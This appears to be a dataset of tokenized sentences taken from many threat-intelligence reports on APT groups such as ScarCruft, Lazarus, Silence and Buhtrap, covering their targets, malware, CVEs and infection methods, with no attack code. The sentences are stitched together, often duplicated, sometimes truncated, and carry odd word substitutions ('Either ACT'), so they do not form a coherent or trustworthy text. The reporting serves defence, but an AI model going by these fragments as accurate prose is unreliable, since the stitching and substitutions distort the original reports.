Attackers are sending malicious PDF and DOC files , which use exploits to drop variants of Backdoor.Sogu .
This particular threat was also used by hackers to compromise a Korean social network site to steal records of 35 million users .
The Sogu gang use a custom developed threat – Backdoor.Sogu , whereas the group described in this document use an off the shelf threat – Poison Ivy .
The Sogu gang , in contrast , use PDF and DOC files in very tailored , targeted emails .
These attacks are primarily targeting private industry in search of key intellectual property for competitive advantage , military institutions , and governmental organizations often in search of documents related to current political events and human rights organizations .
Nitro 's campaign focused on the chemical sector with the goal of obtaining sensitive documents such as proprietary designs , formulas , and manufacturing processes .
This attack campaign focused on the chemical sector with the goal of obtaining sensitive documents such as proprietary designs , formulas , and manufacturing processes .
These have been highly active in the Middle East region and unveiled ongoing targeted attacks in multiple regions .
The attackers try to lure targets through spear phishing emails that include compressed executables .
We found that the group behind this campaign targeted mainly industrial , engineering and manufacturing organizations in more than 30 countries .
Using the Kaspersky Security Network ( KSN ) and artifacts from malware files and attack sites , we were able to trace the attacks back to March 2015 .
Operation Ghoul is one of the many attacks in the wild targeting industrial , manufacturing and engineering organizations , Kaspersky Lab recommends users to be extra cautious while checking and opening emails and attachments .
The main point that sets Operation Groundbait apart from the other attacks is that it has mostly been targeting anti-government separatists in the self-declared Donetsk and Luhansk People 's Republics .
The attacks appear to be geopolitically motivated and target high profile organizations .
The objective of the attacks is clearly espionage – they involve gaining access to top legislative , executive and judicial bodies around the world .
The attackers have targeted a large number of organizations globally since early 2017 , with the main focus on the Middle East and North Africa ( MENA ) , especially Palestine .
The attacks were initially discovered while investigating a phishing attack that targeted political figures in the MENA region .
Like BlackEnergy ( a.k.a. Sandworm , Quedagh ) , Potao is an example of targeted espionage ( APT ) malware detected mostly in Ukraine and a number of other CIS countries , including Russia , Georgia and Belarus .
The main reason for the increase in Potao detections in 2014 and 2015 were infections through USB drives .
The first Potao campaign that we examined took place in August 2011 .
In March 2014 , the gang behind Potao started using a new infection vector .
Since March 2015 , ESET has detected Potao binaries at several high-value Ukrainian targets that include government and military entities and one of the major Ukrainian news agencies .
As confirmation that the malware writers are still very active even at the time of this writing , ESET detected a new Potao sample compiled on July 20 , 2015 .
In the previous pages we have presented our findings based on ESET detection telemetry and our analysis of Win32/Potao and Win32/FakeTC samples .
Potao is another example of targeted espionage malware , a so-called APT , to use the popular buzzword , although technically the malware is not particularly advanced or sophisticated .
Examples of notable Potao dissemination techniques , some of which were previously unseen , or at least relatively uncommon , include the use of highly-targeted spear-phishing SMS messages to drive potential victims to malware download sites and USB worm functionality that tricked the user into ' willingly ' executing the Trojan .
The PassCV group continues to be one of the most successful and active threat groups that leverage a wide array of stolen Authenticode-signing certificates .
The PassCV group typically utilized publicly available RATs in addition to some custom code , which ultimately provided backdoor functionality to affected systems via phony resumes and curriculum vitae ( CVs ) .
he PassCV group typically utilized publicly available RATs in addition to some custom code , which ultimately provided backdoor functionality to affected systems via phony resumes and curriculum vitae ( CVs ) .
PassCV continues to maintain a heavy reliance on obfuscated and signed versions of older RATs like ZxShell and Ghost RAT , which have remained a favorite of the wider Chinese criminal community since their initial public release .
SPEAR identified recent PassCV samples which implemented another commercial off-the-shelf ( COTS ) RAT called Netwire .
SPEAR identified recent PassCV samples which implemented another commercial off-the-shelf ( COTS ) RAT called Netwire .
The first new connection SPEAR identified was derived from an email address listed in Blue Coat Systems' original report on PassCV .
Syncopate is a well-known Russian company that is best known as the developer and operator of the ' GameNet ' platform .
The PassCV group continues to be extremely effective in compromising both small and large game companies and surreptitiously using their code-signing certificates to infect an even larger swath of organizations .
Since the last report , PassCV has significantly expanded its targets to include victims in the United States , Taiwan , China and Russia .
Based on data collected from Palo Alto Networks AutoFocus threat intelligence , we discovered continued operations of activity very similar to the Roaming Tiger attack campaign that began in the August 2015 timeframe , with a concentration of attacks in late October and continuing into December .
The files exploit the well-known Microsoft Office vulnerability , CVE-2012-0158 , to execute malicious code in order to take control of the targeted systems .
BBSRAT is typically packaged within a portable executable file , although in a few of the observed instances , a raw DLL was discovered to contain BBSRAT .
WildFire properly classifies BBSRAT malware samples as malicious .
This week we will discuss another Chinese nexus adversary we call Samurai Panda .
Samurai Panda is interesting in that their target selection tends to focus on Asia Pacific victims in Japan , the Republic of Korea , and other democratic Asian victims .
Next , in an effort to demonstrate it wasn't relegated to China , CrowdStrike exposed Clever Kitten , an actor we track out of Iran who leverages some very distinct TTPs when viewed next to a more visible adversary .
Next , in an effort to demonstrate it wasn't relegated to China , we exposed Clever Kitten , an actor we track out of Iran who leverages some very distinct TTPs when viewed next to a more visible adversary .
Beginning in 2009 , we've observed this actor conduct more than 40 unique campaigns that we've identified in the malware configurations' campaign codes .
These codes are often leveraged in the malware used by coordinated targeted attackers to differentiate victims that were successfully compromised from different target sets .
When conducting programmatic espionage activity , it can presumably become quite confusing if the attacker targets a heavy industry company , an avionics program , and seven other unique targets as to which infected host you will collect what information from .
These rules detect the malware " beaconing " to the command-and-control server , the initial malware check-in , and an attempt to download a backdoor module .
Earlier this month , Securelist 's technology caught another zero-day Adobe Flash Player exploits deployed in targeted attacks .
Securelist believe the attacks are launched by an APT Group we track under the codename " ScarCruft " .
ScarCruft is a relatively new APT group ; victims have been observed in Russia , Nepal , South Korea , China , India , Kuwait and Romania .
ScarCruft has several ongoing operations , utilizing multiple exploits — two for Adobe Flash and one for Microsoft Internet Explorer .
ScarCruft is a relatively new APT group ; victims have been observed in Russia , Nepal , South Korea , China , India , Kuwait and Romania .
Operation Daybreak appears to have been launched by ScarCruft in March 2016 and employs a previously unknown ( 0-day ) Adobe Flash Player exploit .
Adobe Flash Player exploit .
It is also possible that ScarCruft deployed another zero day exploit , CVE-2016-0147 , which was patched in April .
Operation Erebus leverages another Flash Player exploit ( CVE-2016-4117 ) through the use of watering hole attacks .
ScarCruft 's Operation Erebus leverages another Flash Player exploit ( CVE-2016-4117 ) through the use of watering hole attacks .
Nevertheless , resourceful threat actors such as ScarCruft will probably continue to deploy zero-day exploits against their high profile targets .
After publishing our initial series of blogposts back in 2016 , Kaspersky have continued to track the ScarCruft threat actor .
After publishing our initial series of blogposts back in 2016 , we have continued to track the ScarCruft threat actor .
ScarCruft is a Korean-speaking and allegedly state-sponsored threat actor that usually targets organizations and companies with links to the Korean peninsula .
The ScarCruft group uses common malware delivery techniques such as spear phishing and Strategic Web Compromises ( SWC ) .
ScarCruft is a Korean-speaking and allegedly state-sponsored threat actor that usually targets organizations and companies with links to the Korean peninsula .
ScarCruft uses a multi-stage binary infection scheme .
One of the most notable functions of the initial dropper is to bypass Windows UAC ( User Account Control ) in order to execute the next payload with higher privileges .
This malware uses the public privilege escalation exploit code CVE-2018-8120 or UACME which is normally used by legitimate red teams .
Afterwards , the installer malware creates a downloader and a configuration file from its resource and executes it .
The downloader malware uses the configuration file and connects to the C2 server to fetch the next payload .
The ScarCruft group keeps expanding its Exfiltration targets to steal further information from infected hosts and continues to create tools for additional data Exfiltration .
We also discovered an interesting piece of rare malware created by this threat actor – a Bluetooth device harvester .
We believe they may have some links to North Korea , which may explain why ScarCruft decided to closely monitor them .
ScarCruft also attacked a diplomatic agency in Hong Kong , and another diplomatic agency in North Korea .
It appears ScarCruft is primarily targeting intelligence for political and diplomatic purposes .
ScarCruft infected this victim on September 21 , 2018 .
But before the ScarCruft infection , however , another APT group also targeted this victim with the host being infected with GreezeBackdoor on March 26 , 2018 .
ScarCruft has a keen interest in North Korean affairs , attacking those in the business sector who may have any connection to North Korea , as well as diplomatic agencies around the globe .
Earlier this month , we caught another zero-day Adobe Flash Player exploits deployed in targeted attacks .
ScarCruft is a relatively new APT group ; victims have been observed in several countries , including Russia , Nepal , South Korea , China , India , Kuwait and Romania .
Currently , the group is engaged in two major operations : Operation Daybreak and Operation Erebus .
The other one , ScarCruft 's Operation Erebus employs an older exploit , for CVE-2016-4117 and leverages watering holes .
The other one , " Operation Erebus " employs an older exploit , for CVE-2016-4117 and leverages watering holes .
We will publish more details about the attack once Adobe patches the vulnerability , which should be on June 16 .
The ScarCruft APT gang has made use of a Flash zero day patched Thursday by Adobe to attack more than two dozen high-profile targets in Russia and Asia primarily .
Adobe on Thursday patched a zero-day vulnerability in Flash Player that has been used in targeted attacks carried out by a new APT group operating primarily against high-profile victims in Russia and Asia .
Researchers at Kaspersky Lab privately disclosed the flaw to Adobe after exploits against the zero-day were used in March by the ScarCruft APT gang in what Kaspersky Lab is calling Operation Daybreak .
Kaspersky speculates that ScarCruft could also be behind another zero-day , CVE-2016-0147 , a vulnerability in Microsoft XML Core Services that was patched in April .
attacks start with spear-phishing emails that include a link to a website hosting an exploit kit associated with ScarCruft and used in other attacks .
Another set of attacks called Operation Erebus leverages another flash exploit , CVE-2016-4117 , and relies on watering hole attacks as a means of propagation .
Thursday 's Flash Player update patched 36 vulnerabilities in total including the zero day CVE-2016-4171 .
The ongoing operation likely began as early as January 2017 and has continued through the first quarter of 2019 .
Cisco Talos assess with high confidence that these operations are distinctly different and independent from the operations performed by DNSpionage , which we reported on in November 2018 .
We assess with high confidence that these operations are distinctly different and independent from the operations performed by DNSpionage , which we reported on in November 2018 .
The common use of the Enfal Trojan suggests that Shadow Network may be exchanging tools and techniques .
While Silence had previously targeted Russian banks , Group-IB experts also have discovered evidence of the group 's activity in more than 25 countries worldwide .
In August 2017 , the National Bank of Ukraine warned state-owned and private banks across the country about a large-scale phishing attack .
The threat actor used an exploit from the arsenal of the state-sponsored hacker group APT28 .
The new threat actor group was eventually named Silence .
Silence is a group of Russian-speaking hackers , based on their commands language , the location of infrastructure they used , and the geography of their targets ( Russia , Ukraine , Belarus , Azerbaijan , Poland , and Kazakhstan ) .
Although Silence 's phishing emails were also sent to bank employees in Central and Western Europe , Africa , and Asia ) .
Silence also used Russian-language web hosting services .
Financially motivated APT groups which focus efforts on targeted attacks on the financial sector such as — Anunak , Corkow , Buhtrap — usually managed botnets using developed or modified banking Trojans .
They tried new techniques to steal from banking systems , including AWS CBR ( the Russian Central Bank 's Automated Workstation Client ) , ATMs , and card processing .
Group-IB researchers were tracking Silence throughout this period and conducting response following incidents in the financial sector .
Group-IB detected the first incidents relating to Silence in June 2016 .
One of Silence 's first targets was a Russian bank , when they tried to attack AWS CBR .
They are selective in their attacks and wait for about three months between incidents , which is approximately three times longer than other financially motivated APT groups , like MoneyTaker , Anunak ( Carbanak ) , Buhtrap or Cobalt .
Silence try to apply new techniques and ACTs of stealing from various banking systems , including AWS CBR , ATMs , and card processing .
Silence 's successful attacks currently have been limited to the CIS and Eastern European countries .
He is responsible for developing tools for conducting attacks and is also able to modify complex exploits and third party software .
Silence 's main targets are located in Russia , Ukraine , Belarus , Azerbaijan , Poland , and Kazakhstan .
However , some phishing emails were sent to bank employees in more than 25 countries of Central and Western Europe , Africa and Asia including : Kyrgyzstan , Armenia , Georgia , Serbia , Germany , Latvia , Czech Republic , Romania , Kenya , Israel , Cyprus , Greece , Turkey , Taiwan , Malaysia , Switzerland , Vietnam , Austria , Uzbekistan , Great Britain , Hong Kong , and others .
In the same year , they conducted DDoS attacks using the Perl IRC bot and public IRC chats to control Trojans .
In the same year , Silence conducted DDoS attacks using the Perl IRC bot and public IRC chats to control Trojans .
In two months , the group returned to their proven method and withdrew funds again through ATMs .
In September 2017 , we discovered a new targeted attack on financial institutions .
In September 2017 , we discovered Silence attack on financial institutions .
The infection vector is a spear-phishing email with a malicious attachment .
An interesting point in the Silence attack is that the cybercriminals had already compromised banking infrastructure in order to send their spear-phishing emails from the addresses of real bank employees and look as unsuspicious as possible to future victims .
The spear-phishing infection vector is still the most popular ACT to initiate targeted campaigns .
We conclude that the actor behind the attack is Silence group , a relatively new threat actor that's been operating since mid-2016 .
A preliminary analysis caught the attention of our Threat Analysis and Intelligence team as it yielded interesting data that , among other things , shows that Silence was targeting employees from financial entities , specifically in the Russian Federation and the Republic of Belarus .
As shown above , the threat runs several native binaries to collect useful information for its recon phase .
The intelligence we have collected shows that Silence is part of a more extensive operation , still focused on financial institutions operating mainly on Russian territory .
These spearphishing attempts represent an evolution of Iranian actors based on their social engineering tactics and narrow targeting .
Based on file modification dates and timestamps of samples , it appears that the observed campaign was initiated in the middle of February 2016 , with the infrastructure taken offline at the start of March .
While the Sima moniker could similarly originate from software labels , it is a common female Persian name and a Persian-language Word for " visage " or " appearance " .
 Given its use in more advanced social engineering campaigns against women 's rights activists , the label seem particularly apt .
Samples and resource names contained the family names of prominent Iranians , and several of these individuals received the malware located in their respective folder .
The Sima group also engaged in impersonation of Citizenship and Immigration Services at the Department of Homeland Security , posing as a notice about the expiration of the recipient 's Permanent Residence status .
In another case , Sima mirrored an announcement made about the broadcast of a television program on Iranian-American cultural affairs in order to impersonate the individual and engage in spearphishing within hours of the legitimate message .
The server used to host these malware samples was located on the German provider Hetzner ( 148.251.55.114 ) , within a small block of IP addresses that are registered with the customer ID " HOS-156205 " .
All the samples appear to be have been compiled between February 29 and March 1 2016 , shortly before our discovery , suggesting that , despite the known C&C servers having quickly gone offline shortly after , this spree of attacks might be fresh and currently undergoing .
These archives provide further indication that those entities behind the campaigns are Persian-language speakers , due to the naming of files and folders in Persian .
For the sake of narrative we are going to focus exclusively to those samples we identified being used in attacks against Iranian civil society and diaspora .
Butterfly has attacked multi-billion dollar companies operating in the internet , IT software , pharmaceutical , and commodities sectors .
The first signs of Butterfly 's activities emerged in early 2013 when several major technology and internet firms were compromised .
However , an investigation by Symantec has found that the group has been active since at least March 2012 and its attacks have not only continued to the present day , but have also increased in number .
Symantec has to date discovered 49 different organizations in more than 20 countries that have been attacked by Butterfly .
Aside from the four companies which have publicly acknowledged attacks , Symantec has identified five other large technology firms compromised by Butterfly , primarily headquartered in the US .
In the first attack , Butterfly gained a foothold by first attacking a small European office belonging to one firm and using this infection to then move on to its US office and European headquarters .
However , technology is not the only sector the group has focused on and Symantec has found evidence that Butterfly has attacked three major European pharmaceutical firms .
Butterfly has also shown an interest in the commodities sector , attacking two major companies involved in gold and oil in late 2014 .
The company specializes in finance and natural resources specific to that region .
The latter was one of at least three law firms Butterfly has targeted over the past three years .
In many attacks , the group has succeeded in compromising Microsoft Exchange or Lotus Domino email servers in order to intercept company emails and possibly use them to send counterfeit emails .
A powerful threat actor known as " Wild Neutron " ( also known as " Jripbot " and " Morpho " ) has been active since at least 2011 , infecting high profile companies for several years by using a combination of exploits , watering holes and multi-platform malware .
Based on the profile of the victims and the type of information targeted by the attackers , Symantec believes that Butterfly is financially motivated , stealing information it can potentially profit from .
Wild Neutron hit the spotlight in 2013 , when it successfully infected companies such as Apple , Facebook , Twitter and Microsoft .
Wild Neutron 's attacks in 2015 uses a stolen code signing certificate belonging to Taiwanese electronics maker Acer and an unknown Flash Player exploit .
During the 2013 attacks , the Wild Neutron actor successfully compromised and leveraged the website www.iphonedevsdk.com , which is an iPhone developers forum .
Wild Neutron 's attack took advantage of a Java zero-day exploit and used hacked forums as watering holes .
While the group used watering hole attacks in 2013 , it's still unclear how victims get redirected to the exploitation kits in the new 2014-2015 attacks .
Wild Neutron 's tools include a password harvesting trojan , a reverse-shell backdoor and customized implementations of OpenSSH , WMIC and SMB .
Instead of Flash exploits , older Wild Neutron exploitation and watering holes used what was a Java zero-day at the end of 2012 and the beginning of 2013 , detected by Kaspersky Lab products as Exploit.Java.CVE-2012-3213.b .
The victims for the 2014-2015 versions are generally IT and real estate/investment companies and in both cases , a small number of computers have been infected throughout Wild Neutron .
Wild Neutron 's targeting of major IT companies , spyware developers ( FlexiSPY ) , jihadist forums ( the " Ansar Al-Mujahideen English Forum " ) and Bitcoin companies indicate a flexible yet unusual mindset and interests .
We continue to track the Wild Neutron group , which is still active as of June 2015 .
A ransomware variant dubbed PyLocky was observed in September 2018 being distributed by a phishing campaign using an invoicing theme .
PyLocky was found to be targeting entities in France and Germany .
Fxmsp specialize in breaching highly secure protected networks to access private corporate and government information .
Fxmsp is a hacking collective that has operated in various top-tier Russian- and English-speaking underground communities since 2017 .
Throughout 2017 and 2018 , Fxmsp established a network of trusted proxy resellers to promote their breaches on the criminal underground .
On April 24 , 2019 , Fxmsp claimed to have secured access to three leading antivirus companies .
According to the Fxmsp , they worked tirelessly for the first quarter of 2019 to breach these companies and finally succeeded and obtained access to the companies' internal networks .
Booz Allen Hamilton in 2014 and AhnLab in 2015 reported on Bisonal using a simple XOR cipher to hide the C2 address strings in the body .
 For example , Bisonal malware in 2012 used send() and recv() APIs to communicate with its C2. This Bisonal variant used in the latest attack communicates with one of the following hard-coded C2 addresses by using the HTTP POST method on TCP PROT 443 .
 Previous reports have discussed Bisonal malware used in attacks against Japan , South Korea and Russia .
 This particular sample we found targeted an organization in Russia and there is a specific system language check for Cyrillic and no others .
 If it's Cyrillic and the command to the shell is not ‘ipconfig’ , the threat converts the command result text encoding from Cyrillic to UTF-16 .
 Similar to the Bisonal variant targeting the Russian organization , this sample was also disguised as PDF document .
The installed EXE file is almost exactly the same as the DLL version of Bisonal variant used against the Russian organization .
 The targets are military or defense industry in particular countries , it used DDNS for C2 servers , and tracked connections from their victims by using target or campaign codes , as well as disguising the malware as document file , and using a dropper to install the malware and decoy file .
 A previous campaign of this APT group was uncovered by Talos in June 2017 , and since then very little of this operation was seen in the wild .
 ined in the archive is called DriverInstallerU.exe” but its metadata shows that its original name is Interenet Assistant.exe” .
 After reviewing all the malware functionalities , we are confident in saying that the attackers look for victims who answer well-defined characteristics and believe that further stages of the attack are delivered only to those who fit the specific victim profile .
 In this sample , however , the module names were changed from actors and characters’ names to car models , namely BMW_x1” , BMW_x2” and up to BMW_x8” .
 But , thanks to the attackers known affection for decoy documents that pose as news summaries , we were able to date the campaign back to March 2018 .
 With the experience gained from the APT attack that began in March 2017 , it seems this campaign has evolved into an attack with new capabilities , and an even more specific target , over a year later .
 These unknown actors continued launching DDoS attacks over the next few years .
 For simplicity , Kaspersky is calling them the BlackEnergy APT group .
 Since the middle of 2015 , one of the preferred attack vectors for BlackEnergy in Ukraine has been Excel documents with macros that drop the Trojan to disk if the user chooses to run the script in the document .
 A very good analysis and overview of the BlackEnergy attacks in Ukraine throughout 2014 and 2015 was published by the Ukrainian security firm Cys Centrum the text is only available in Russian for now , but can be read via Google Translate .
 The earliest signs of destructive payloads with BlackEnergy go back as far as June 2014 .
 BlackEnergy is a highly dynamic threat actor and the current attacks in Ukraine indicate that destructive actions are on their main agenda , in addition to compromising industrial control installations and espionage activities .
 Kaspersky will continue to monitor the BlackEnergy attacks in Ukraine and update our readers with more data when available .
 From Buhtrap perpetrating cybercrime for financial gain , its toolset has been expanded with malware used to conduct espionage in Eastern Europe and Central Asia .
 Throughout our tracking , we've seen this group deploy its main backdoor as well as other tools against various victims , but June 2019 was the first time we saw the Buhtrap group use a zero-day exploit as part of a campaign .
 In that case , we observed Buhtrap using a local privilege escalation exploit , CVE-2019-1132 , against one of its victims .
 However , as the shift in targets occurred before the source code leak , we assess with high confidence that the same people behind the first Buhtrap malware attacks against businesses and banks are also involved in targeting governmental institutions .
 When Buhtrap was targeting businesses , the decoy documents would typically be contracts or invoices .
 The Buhtrap group is well known for its targeting of financial institutions and businesses in Russia .
 Figure 2 is a typical example of a generic invoice the group used in a campaign in 2014 .
 When the group's focus shifted to banks , the decoy documents were related to banking system regulations or advisories from FinCERT , an organization created by the Russian government to provide help and guidance to its financial institutions .
 We confirmed that this is a DarkHydrus Group's new attack targeting Middle East region .
 In July 2018 , Palo Alto disclosed DarkHydrus Group which showed its special interest to governments in Middle East .
 Prior to that report , we published detail analysis on malware exploiting CVE-2018-8414 vulnerability (remote code execution in SettingContent-ms) , which is believed a work of DarkHydrus .
 However , the final payload is something that welivesecurity have never seen associated with Buhtrap .
 It's coincident that both 'darkhydrus' APT group name and ‘Williams’ user name in PDB path found in this Twitter user .
 In recent APT incidents , Dark Hydruns tend to adopt Office VBA macro instead of Office 0day vulnerability in the consideration of cost reduction .
 ASERT uncovered a credential theft campaign we call LUCKY ELEPHANT where attackers masquerade as legitimate entities such as foreign government , telecommunications , and military .
 From at least February 2019 to present , the actors in the LUCKY ELEPHANT campaign copied webpages to mimic South Asian government websites as well as Microsoft Outlook 365 login pages and hosted them on their own doppelganger domains , presumably to trick victims into providing login credentials .
 ASERT suspects that the Actors use phishing emails to lure victims to the doppelganger websites and entice users to enter their credentials .
 It is important to note that one domain , yahoomail[.]cf is only associated with this group from February 2019 onward .
 In late 2018 , the domain was associated with a different APT group / campaign of Chinese origin .
 Based on our analysis into the activity , ASERT deems with moderate confidence that an Indian APT group is behind the LUCKY ELEPHANT campaign .
 The targets are typical of known Indian APT activity and the infrastructure was previously used by an Indian APT group .
 DoNot Team has a history of heavily targeting Pakistan , in addition to other neighboring countries .
 The 360 Intelligence Center observed four distinct campaigns against Pakistan since 2017 (link) , recently targeting Pakistani businessmen working in China .
 DoNot Team’s confirmed use of this IP dates back to September 2018 , with a six-month gap until it was used to host doppelganger domains for the LUCKY ELEPHANT campaign in early February .
One of the IP addresses , 128.127.105.13 , was previously used by the DoNot Team (aka APT-C-35 ) , a suspected Indian APT group .
The actors behind LUCKY ELEPHANT recognize the effectiveness and use doppelganger webpages nearly identical to legitimate sites , enticing users to input their credentials .
 The heavier targeting in Pakistan adheres to historical targeting and the ongoing tension between the two countries , which has escalated since a terrorist attack in Kashmir on 14 February 2019 .
 The targeting of Pakistan , Bangladesh , Sri Lanka , Maldives , Myanmar , Nepal , and the Shanghai Cooperation Organization are all historical espionage targets by India .
 However , it is clear is that Donot are actively establishing infrastructure and are targeting governments in South Asia .
 First attack of this campaign took place in May 2018 .
 Arbor also published APT research on this group , and named it ‘Donot’ .
 Donot attacked government agencies , aiming for classified intelligence .
 We identified this APT group coded as ‘APT-C-35’ in 2017 , who is mainly targeting Pakistan and other South Asian countries for Cyber Espionage .
 At least 4 attack campaigns against Pakistan have been observed by us since 2017 .
 Spear phishing emails with vulnerable Office documents or malicious macros are sent to victims .
 In the latest attack , Donot group is targeting Pakistani businessman working in China .
 Two unique malware frameworks , EHDevel and yty , are developed by attackers .
 wuaupdt.exe is a CMD backdoor , which can receive and execute CMD commands sent from C2 .
 Furthermore , it has similar code logic as previous ones wuaupdt.exe in this attack appears in previous Donot attack , and C2 addresses are same to previous ones .
 From the attack activity captured this time , it is obvious that Donot APT group is still keen on Pakistan as primary target of attack , and even expands scope of attack to include Pakistani staffs and institutions in China .
 Buhtrap still make extensive use of NSIS installers as droppers and these are mainly delivered through malicious documents .
 They first came to light in 2016 , when they managed to steal sensitive information from the US Democratic National Committee (DNC) .
 Earworm first came to light in 2016 , when they managed to steal sensitive information from the US Democratic National Committee (DNC) .
 They were also behind an attack on the World Anti-Doping Agency (WADA) , in which they leaked confidential information about several drug tests .
 SPLM , GAMEFISH , and Zebrocy delivery all maintain their own clusters , but frequently overlap later .
 Our previous post on Sofacy's 2017 activity stepped aACT from the previously covered headline buzz presenting their association with previously known political hacks and interest in Europe and the US , and examines their under-reported ongoing activity in middle east , central asia , and now a shift in targeting further east , including China , along with an overlap surprise .
 The larger , 300kb+ SPLM backdoors deployed in 2016 and 2017 are not observed any longer at targets in 2018 .
 A previous , removed , report from another vendor claimed non-specific information about the groups' interest in Chinese universities , but that report has been removed – most likely detections were related to students’ and researchers’ scanning known collected samples and any incidents” remain unconfirmed and unknown .
 Either ACT , the group's consistent activity throughout central and eastern asia seems to be poorly represented in the public discussion .
 The actors behind this campaign we call LUCKY ELEPHANT use doppelganger webpages to mimic legitimate entities such as foreign governments , telecommunications , and military .
 Currently , Sofacy targets large air-defense related commercial organizations in China with SPLM , and moves Zebrocy focus across Armenia , Turkey , Kazahkstan , Tajikistan , Afghanistan , Mongolia , China , and Japan .
 Either ACT , Sofacy's consistent activity throughout central and eastern asia seems to be poorly represented in the public discussion .
 According to this new alert , Hidden Cobra the U.S. government’s code name for Lazarus has been conducting FASTCash attacks stealing money from Automated Teller Machines (ATMs) from banks in Asia and Africa since at least 2016 .
 Lazarus is a very active attack group involved in both cyber crime and espionage .
 The group was initially known for its espionage operations and a number of high-profile disruptive attacks , including the 2014 attack on Sony Pictures .
 Following US-CERTs report , Symantec's research uncovered the key component used in Lazarus's recent wave of financial attacks .
 More recently , Lazarus has also become involved in financially motivated attacks , including an US$81 million dollar theft from the Bangladesh Central Bank and the WannaCry ransomware .
 Other open source and semi-legitimate pen-testing tools like nbtscan and powercat are being used for mapping available resources and lateral movement as well .
 To make the fraudulent withdrawals , Lazarus first breaches targeted banks' networks and compromises the switch application servers handling ATM transactions .
 The operation , known as FASTCash” has enabled Lazarus to fraudulently empty ATMs of cash .
 In order to permit their fraudulent withdrawals from ATMs , Lazarus inject a malicious Advanced Interactive eXecutive (AIX) executable into a running , legitimate process on the switch application server of a financial transaction network , in this case a network handling ATM transactions .
 It was previously believed that the attackers used scripts to manipulate legitimate software on the server into enabling the fraudulent activity .
 In recent years , Lazarus has also become involved in financially motivated attacks .
 This malware in turn intercepts fraudulent Lazarus cash withdrawal requests and sends fake approval responses , allowing the attackers to steal cash from ATMs .
 Lazarus was linked to the $81 million theft from the Bangladesh central bank in 2016 , along with a number of other bank heists .
 Lazarus was also linked to the WannaCry ransomware outbreak in May 2017 .
 WannaCry incorporated the leaked EternalBlue exploit that used two known vulnerabilities in Windows CVE-2017-0144 and CVE-2017-0145 to turn the ransomware into a worm , capable of spreading itself to any unpatched computers on the victim's network and also to other vulnerable computers connected to the internet .
 Lazarus was initially known for its involvement in espionage operations and a number of high-profile disruptive attacks , including the 2014 attack on Sony Pictures that saw large amounts of information being stolen and computers wiped by malware .
 In short , Lazarus continues to pose a serious threat to the financial sector and organizations should take all necessary steps to ensure that their payment systems are fully up to date and secured .
 As with the 2016 series of virtual bank heists , including the Bangladesh Bank heist , FASTCash illustrates that Lazarus possesses an in-depth knowledge of banking systems and transaction processing protocols and has the expertise to leverage that knowledge in order to steal large sums from vulnerable banks .
 The attack , which starts with a malicious attachment disguised as a top secret US document , weaponizes TeamViewer , the popular remote access and desktop sharing software , to gain full control of the infected computer .
 As described in the infection flow , one of the first uses of the AutoHotKey scripts is to upload a screenshot from the compromised PC .
 It is hard to tell if there are geopolitical motives behind this campaign by looking solely at the list of countries it was targeting , since it was not after a specific region and the victims came from different places in the world .
 The initial infection vector used by the threat actor also changed over time , during 2018 we have seen multiple uses of self-extracting archives instead of malicious documents with AutoHotKey , which displayed a decoy image to the user .
 The recent wave of FASTCash attacks demonstrates that financially motivated attacks are not simply a passing interest for the Lazarus group and can now be considered one of its core activities .
 Although both examples of the different delivery methods described above show an exclusive targeting of Russian speakers , the recurring financial and political themes that they use highlight the attacker's interest in the financial world once more .
 Throughout our investigation , we have found evidence that shows operational similarities between this implant and Gamaredon Group .
 Gamaredon Group is an alleged Russian threat group .
 Gamaredon Group has been active since at least 2013 , and has targeted individuals likely involved with the Ukrainian government .
 EvilGnome's functionalities include desktop screenshots , file stealing , allowing capturing audio recording from the user’s microphone and the ability to download and execute further modules .
 Gamaredon Group primarily makes use of Russian hosting providers in order to distribute its malware .
 Gamaredon Group's implants are characterized by the employment of information stealing tools — among them being screenshot and document stealers delivered via a SFX , and made to achieve persistence through a scheduled task .
 Gamaredon Group infects victims using malicious attachments , delivered via spear phishing techniques .
 The techniques and modules employed by EvilGnome — that is the use of SFX , persistence with task scheduler and the deployment of information stealing tools—remind us of Gamaredon Group’s Windows tools .
 We can observe that the sample is very recent , created on Thursday , July 4 .
 As can be observed in the illustration above , the makeself script is instructed to run ./setup.sh after unpacking .
 The ShooterAudio module uses PulseAudio to capture audio from the user's microphone .
 makeself.sh is a small shell script that generates a self-extractable compressed tar archive from a directory .
 During our 2018 monitoring of this group , we were able to identify different techniques utilized by very similar attackers in the MENA region , sometimes on the same target .
 Gaza Cybergang Group3 (highest sophistication) whose activities previously went by the name Operation Parliament .
 Gaza Cybergang has been seen employing phishing , with several chained stages to evade detection and extend command and control server lifetimes .
 The most popular targets of SneakyPastes are embassies , government entities , education , media outlets , journalists , activists , political parties or personnel , healthcare and banking .
 Through our continuous monitoring of threats during 2018 , we observed a new wave of attacks by Gaza Cybergang Group1 targeting embassies and political personnel .
 Gaza Cybergang Group1 is an attack group with limited infrastructure and an open-source type of toolset , which conducts widespread attacks , but is nevertheless focused on Palestinian political problems .
 In this campaign , Gaza Cybergang used disposable emails and domains as the phishing platform to target the victims .
 The RAT , however , had a multitude of functionalities (as listed in the table below) such as to download and execute , compress , encrypt , upload , search directories , etc .
 We expect the damage caused by these groups to intensify and the attacks to extend into other regions that are also linked to the complicated Palestinian situation .
 Cylance determined that the ‘Ghost Dragon’ group utilized specifically tailored variants of Gh0st RAT , which the group modified from the 3.6 version of the source code released in 2008 .
 The standard network protocol for Gh0st RAT 3.6 employs zlib compression , which utilizes ‘Gh0st’ as a static five-byte packet flag that must be included in the first five bytes of initial transmission from the victim .
 In a more recent version of the modified Gh0st RAT malware , Ghost Dragon implemented dynamic packet flags which change the first five bytes of the header in every login request with the controller .
 SPEAR has observed numerous different XOR keys utilized by Ghost Dragon .
 exploit and tools continued to be used after Buckeye's apparent disappearance in 2017 .
 The Buckeye attack group was using Equation Group tools to gain persistent access to target organizations at least a year prior to the Shadow Brokers leak .
 Buckeye's use of Equation Group tools also involved the exploit of a previously unknown Windows zero-day vulnerability .
 While Buckeye appeared to cease operations in mid-2017 , the Equation Group tools it used continued to be used in attacks until late 2018 .
 The 2017 leak of Equation Group tools by a mysterious group calling itself the Shadow Brokers was one of the most significant cyber security stories in recent years. However , Symantec has now found evidence that the Buckeye Cyber Espionage group (aka APT3 , Gothic Panda ) began using Equation Group tools in attacks at least a year prior to the Shadow Brokers leak .
 Equation is regarded as one of the most technically adept espionage groups and the release of a trove of its tools had a major impact , with many attackers rushing to deploy the malware and exploits disclosed .
